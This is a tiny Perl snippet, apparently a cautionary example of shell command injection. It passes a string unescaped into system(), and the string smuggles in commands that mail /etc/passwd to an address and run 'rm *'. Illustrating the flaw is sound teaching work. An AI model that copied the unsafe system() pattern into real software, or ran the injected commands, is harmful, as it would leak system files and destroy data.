bad_system('foo; mail me@me.com < /etc/passwd; rm *');
sub bad_system {
    my $password = shift;
    system("echo $password | foo -args file");
}
#Uh oh!